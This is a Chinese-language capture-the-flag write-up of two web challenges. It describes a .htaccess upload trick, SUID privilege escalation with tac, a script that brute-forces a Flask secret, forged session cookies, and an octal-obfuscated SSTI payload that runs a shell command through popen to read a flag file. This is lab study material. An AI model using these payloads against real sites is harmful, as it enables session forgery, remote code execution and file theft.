WEB
SQLUS


猜测账户是admin密码是任意一个字符
登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。



在头像前端看到了上传路径


flag没有权限读,需要提权,反弹shell失败,尝试suid提权。

发现tac有suid权限,直接读文件

CandyShop
1 2 3 4 5 6 7 8 9
| import os
with open(r'C:\Users\13664\Desktop\ \工作学习\web\密码字典\admin_week_password.txt','r',encoding='utf-8') as f: while 1: data = f.readline().strip('\n') if len(data)==7: a = f''' python C:\\Users\\13664\\Desktop\\ \\工作学习\\web\\flask-session-cookie-manager-master\\flask_session_cookie_manager3.py decode -c ".eJwNy00KgCAQQOG7zLqFKaJ2mZjRmZDIwJ9FRHfPt_zgvRBblb3fJxfYgMRoq5wl5dakmBQFCpYCktdR9MxEH0VggZy49NyfeR2DW580GteCF09CRPh-SYsdHg.Zt0G0g.eNn2Bft2QUvmXTbcXpozaEjLyUk" -s "{data}"''' print(data) os.system(a)
|
密钥爆破出来是a123456

利用flask_session_cookie_manager3.py工具伪造出admin的cookie:
1
| .eJwVy0EKgCAQQNG7zLqFKaJ2mZjRGZDQQG0R0d2zv3zwH4i9yT7OgytsQGK0Vc6ScmtSTIoCBUsByesoemaijyKwQE5cRx73vDCVXCddnVvFwj8hwvsBRtoc_w.Zt0UvQ.N_DTzK-e1K7fL8ska6zeBgR_5Ks
|
进入admin之后,admin路由可以原型链污染

由于sold是全局变量,所以可以污染他的值:
1
| python .\flask_session_cookie_manager3.py encode -s "a123456" -t "{'csrf_token': 'bf325075b071d0eb0b9b95b9ab82cf22223c8cff', 'identity': 'guest', 'username': 'aaa','__init__':{'__globals__':{'sold':500}}}"
|
获取到了提示


发现sold可控,而且可以模版渲染,但是这里还有一个过滤,字母和下划线全部置空。那就可以八进制绕过:
剩下的就是常规的ssti打法:
1
| python .\flask_session_cookie_manager3.py encode -s "a123456" -t "{'csrf_token': 'bf325075b071d0eb0b9b95b9ab82cf22223c8cff', 'identity': 'admin', 'username': 'aaa','__init__':{'__globals__':{'sold':'{{()[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\137\\137\'][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\52\\57\\52\\57\\52\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"
|
执行的命令是:
